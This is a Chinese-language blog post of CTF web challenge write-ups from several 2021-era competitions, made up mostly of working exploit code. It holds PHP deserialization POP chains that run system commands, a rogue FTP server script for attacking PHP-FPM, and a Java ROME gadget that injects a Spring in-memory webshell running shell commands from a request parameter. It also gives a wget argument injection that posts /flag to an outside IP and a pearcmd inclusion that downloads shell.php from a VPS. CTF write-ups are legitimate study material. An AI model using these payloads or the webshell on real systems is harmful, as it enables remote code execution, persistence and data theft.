太久没跟新了 ,就一起发了 💨
# 0x01 DAS sept# web# hellounser1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class A { public $var ; public function show ( ) { echo $this ->var; } public function __invoke ( ) { $this ->show(); } } class B { public $func ; public $arg ; public function show ( ) { $func = $this ->func; if (preg_match('/^[a-z0-9]*$/isD' , $this ->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i' , $this ->arg)) { die ('No!No!No!' ); } else { include "flag.php" ; $func ('' , $this ->arg); } } public function __toString ( ) { $this ->show(); return "<br>" ."Nice Job!!" ."<br>" ; } } if (isset ($_GET ['pop' ])){ $aaa = unserialize($_GET ['pop' ]); $aaa (); } else { highlight_file(__FILE__ ); } ?>
照常先来看入口点,在反序列化后立刻函数式调用了该对象,那么可以触发的就是 __invoke() 函数。 __invoke() 函数内部调用了同类中的 show() 函数,其中将变量 $var 作为字符串打印,那么可以触发 __toString() 函数。__toString() 函数也调用了同类中的 show() 函数,包含了 flag.php 并且可以控制调用的函数名和第二个参数。1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class A { public $var ; } class B { public $func = '\create_function' ; public $arg = ';};var_dump(get_defined_vars());//' ; } $a = new A();$a -> var = new B();echo urlencode(serialize($a ));
1 O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D
1 array(2) { ["func"]=> string(16) "\create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}" }
1 public $arg = ';};system(ls);//';
1 Tru3flag.php flag.php index.php
单词命令是可以执行的,但是 cat Tru3flag.php 肯定会存在空格,就算将其 base64 之类的也不行,用引号(这里不让)在本地也失败。所以我们只能再嵌套一层 base64_decode() 函数: 1 public $arg = ';};system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));//';
注意 base64 编码不能有等号,因为等号也被过滤了,我的方法也很简单,在后面加一个空格就可以了。 不过 base64 编码后触发了 nl (笑),这里我们用 cat Tru* 再编码: 1 public $arg = ';};system(base64_decode(Y2F0IFRydSoK));//';
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public $var ; } class B { public $func = '\create_function' ; public $arg ; } $a = new A();$a -> var = new B();$ac = (~('php://filter/read=convert.base64-encode/resource=Tru3flag.php' ));$a -> var -> arg = 'return(1);}require(~(' .strval($ac ).'));//' ;echo urlencode(serialize($a ));
# xxc打开网页提示 一条链子 ,使用 dirmap 扫描到网站源码 www.zip,进行代码审计。 index.php 其中存在反序列化操作,这道题确定是一道序列化的题目: 1 2 3 4 5 6 7 8 9 10 11 12 <?php include ("closure/autoload.php" );function _loader ($class ) { require_once './class/' . (str_replace('\\' , '/' , $class ) . '.php' ); } spl_autoload_register("_loader" ); error_reporting(0 ); if ($_POST ['data' ]){ unserialize(base64_decode($_POST ['data' ])); }else { echo "<h1>一条链子</h1>" ; }
我们先来学习一下 _loader() 函数,这是一个自动加载函数,在 PHP5 中,当我们实例化一个未定义的类时,就会触发此函数。
spl_autoload_register('loadprint') 与 __autoload() 函数有异曲同工之妙,PHP 碰到没有定义的类就执行 loadprint() 函数。
所以我们在 index.php 中可以自由的实例化存在的类。由于是反序列化的题目,我们先来看看入口点 __destruct() 和 __wakeup() 函数是否存在:
\Control\State\StopHook.php 中发现了析构函数,调用了同类中的 _exit() 函数,其中 $process->stop(); 可能会触发 __call() 函数,而 !$process->isRunning 可能会触发 __get() 函数:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php namespace Control \State ;class StopHook { protected $output ; protected $config = ['auto' => 0 ]; protected static $states = ['started' , 'running' , 'finished' , 'waiting' , 'fail' ]; protected $processes ; public function __destruct ( ) { $this ->_exit(); } private function _exit ( ) { foreach (array_reverse($this ->processes) as $process ) { if (!$process ->isRunning) { continue ; } $process ->stop(); } } }
在 \Faker\MyGenerator.php 中找到这两个函数, __call() 函数中 echo $this->defaultCall; 一句可能会触发 __toString() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php namespace Faker ;class MyGenerator { protected $defaultValue ; public function __call ($method , $arg_array ) { echo $this ->defaultCall; return $this ->defaultCall; } public function __get ($property ) { return $this ->defaultValue; } }
在 \Method\Func\GetFile.php 找到 __toString() 函数,调用了同类中的 getFiles() 函数,发现函数的中调用了 isset() 函数,如果该类中不存在该属性,会触发 __isset() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php namespace Method \Func ;class GetFile { private $flag = true ; private $files = []; public function __toString ( ) { return $this ->getFiles(); } public function getFiles ( ) { if (!$this ->flag) return "denied" ; $s = "" ; if (isset ($this ->flag->{$this ->value})) { return "test" ; } foreach ($this ->files as $file ) { $s += $file ->read(); } return $s ; } }
在 Method\Func\GetDefault.php 中找到 __isset() 函数,调用了同类中的 popup() 函数,其中 return $s($length); 可能会触发 __invoke() 函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php namespace Method \Func ;class GetDefault { private $source ; public function popup ($length ) { $s = $this ->source; if ($s ->flag != "myTest" ) { return "denied" ; } return $s ($length ); } public function __isset ($property ) { if ($property != "test" ) { return false ; } return !$this ->popup(666 ); } }
最后在 \Method\Func\GenerateFile.php 中找到 __invoke() 函数,且存在 call_user_func() 。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace Method \Func ;class GenerateFile { public $flag ; protected $buffer ; public function __invoke ($param ) { $this ->myGen($param ); } public function myGen ($length ) { $s = $this ->buffer->read; call_user_func($this ->source->generate, $length ); return $s ; } }
整个链子理清楚了,但是发现 call_user_func() 的第二个参数被写死了,因为 $this->popup(666); 调用的时候将 666 传入了 __invoke($param) ,最后也就作为 $length 变量传入了 myGen($length) 函数。
现在只能够调用类似 phpinfo() 等不需要参数的程序,并不能够 rce,该怎么办呢?
1 2 3 <?php $function = function ( ) { eval (system('ls' )); };echo serialize($function );
1 Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
使用这个项目,可以将闭包包装成一个 Opis\Closure\SerializableClosure 对象,然后使用标准的 serialize() 进行序列化。也可以使用 Opis\Closure\serialize 函数序列化任意对象。 1 2 3 4 5 <?php require 'closure/autoload.php' ;$function = function ( ) { eval (system('ls' )); };$a = new \Opis\Closure \SerializableClosure($function );echo serialize($a );
1 2 3 4 <?php require 'closure/autoload.php' ;$function = function ( ) { eval (system('ls' )); };echo \Opis\Closure \serialize($function );
1 C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}}
那么我们可以将匿名函数通过 serialize() 函数经过一次序列化和反序列化,这样他就能作为 SerializableClosure 对象被序列化。或者直接将 generate 变量赋值为 SerializableClosure 类。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php namespace Control \State { class StopHook { protected $processes ; public function __construct ( ) { $this -> processes = array (new \Faker\MyGenerator()); } } require 'closure/autoload.php' ; $payload = new StopHook(); echo base64_encode(serialize($payload )); } namespace Faker { class MyGenerator { protected $defaultValue ; public function __construct ( ) { $this -> defaultValue = new \Method\Func\GetFile(); } } } namespace Method \Func { class GetFile { private $flag ; public function __construct ( ) { $this -> flag = new \Method\Func\GetDefault(); $this -> value = 'test' ; } } } namespace Method \Func { class GetDefault { private $source ; public function __construct ( ) { $this -> source = new \Method\Func\GenerateFile(); $this -> source -> flag = 'myTest' ; } } } namespace Method \Func { class GenerateFile { public $flag ; protected $buffer ; public function __construct ( ) { $function = function ( ) { eval (system('ls /' )); }; $this -> source -> generate = new \Opis\Closure \SerializableClosure($function ); } } }
将 php 文件放在 /www 文件夹下运行,得到序列化的结果(其实在 php5 中赋值一个对象在一个空变量中是会警告的 HP Warning: Creating default object from empty value in /var/www/1.php on line 51 ,在 php8 中就直接报错了): 1 TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
将作为 post 参数 data 传递,获得回显: 1 bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
修改 $function = function(){ eval(system('cat /fl@g.txt')); }; ,重新序列化: 1 TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
获得 flag:
# 0x02 陇原战 "疫"# WEB# CheckINwget 参数注入
argv=1&argv=–post-file&argv=/flag&argv=IP
# eaaasyphp反序列化。ftp 打 fpm,流量用 gopher 生成下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Esle {} class Bypass { public $str4 ; public function __construct ($str4 ) { $this ->str4=$str4 ; } } class Welcome { public $username ; public function __construct ($username ) { $this ->username=$username ; } } class Bunny { public $filename ; public $data ; public function __construct ($filename ) { $this ->filename=$filename ; } } class Hint { public $hint =false ; } $Hint =new Hint();$Bunny =new Bunny("ftp://x.x.x.x:22:8000/a" );$Welcome =new Welcome($Bunny );$Esle =new Esle();$Bypass =new Bypass($Welcome ,$Hint );echo (serialize(array ($Esle ,$Bypass )));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 22 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close() print("endd" )
# EasyJaba1 反序列化。不能有hashmap和BadAttributeValueExpException
有 ROME 依赖。刚好需要一个 tostring。
自己加了个 tostring
题目不出网。考虑写内存马 + 命令执行回显
ROME exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.ObjectBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.apache.commons.io.FileUtils;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.util.Base64;public class Exp { public static void main (String[] args) throws Exception { String code = "{printName();}" ; ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(test.class.getName()); clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ).getName())); clazz.makeClassInitializer().insertBefore(code); byte [][] bytecodes = new byte [][]{clazz.toBytecode()}; File classFilePath = new File(new File(System.getProperty("user.dir" ), "" ), "test.class" ); FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode()); TemplatesImpl templatesimpl = new TemplatesImpl(); Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes" ); fieldByteCodes.setAccessible(true ); fieldByteCodes.set(templatesimpl, bytecodes); Field fieldName = templatesimpl.getClass().getDeclaredField("_name" ); fieldName.setAccessible(true ); fieldName.set(templatesimpl, "test" ); Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory" ); fieldTfactory.setAccessible(true ); fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ).newInstance()); ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(objectBean1); byte [] sss = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(sss); System.out.println(exp); } }
内存马:test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import org.springframework.util.Base64Utils;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;public class guoke { public static void printName () throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException { String className = "com.lyzy.ctf.ezjaba.controller.cmdController" ; byte [] bytes = Base64Utils.decodeFromString("yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF" ); ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); method.invoke(classLoader, className, bytes, 0 , bytes.length); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping" ); Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping); adaptedInterceptors.add(classLoader.loadClass(className).newInstance()); } }
命令执行回显的控制器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.lyzy.ctf.ezjaba.controller;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class cmdController extends HandlerInterceptorAdapter { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code" ); if (code != null ){ try { java.io.PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , code}); }else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , code}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ } return false ; } return true ; } }
# 0x03 湖湘杯# web# easywill变量覆盖 任意文件包含
1 ?name=cfile&value=/etc/passwd
可以利用
1 pearcmd.php&+download+VPS/shell.php
可以参考 p 神 pearcmd 妙用
# Pentest in Autumnjava 一把梭
利用扫描工具 发现存在 java /actuator 路径泄露,确定为 Java 的 Spring 框架,直接访问 actuator/heapdump 文件无法访问,所以需要绕过,/;/actuator/heapdump
下载 /;/actuator/heapdump 导入分析工具
编写 python 脚本 生成密钥
1 2 3 import base64import structprint(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb' , 89 ,-26 ,90 ,-9 ,106 ,118 ,-109 ,16 ,-98 ,73 ,38 ,62 ,88 ,127 ,-92 ,-68 )))